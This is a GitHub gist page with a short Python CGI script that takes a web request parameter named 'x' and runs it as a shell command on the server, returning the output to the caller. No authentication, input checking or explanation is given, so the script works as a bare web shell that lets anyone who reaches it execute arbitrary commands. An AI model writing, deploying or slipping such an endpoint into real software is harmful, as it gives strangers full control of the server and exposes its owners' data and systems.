Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
#! /usr/bin/python3
import cgi
import subprocess
import json
print("content-type: text/html")
print()
user_input = cgi.FieldStorage()
command = user_input.getvalue("x")
output = subprocess.getstatusoutput("{0}".format(command))
#StatusCode = output[0]
result = output[1]
print(result)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment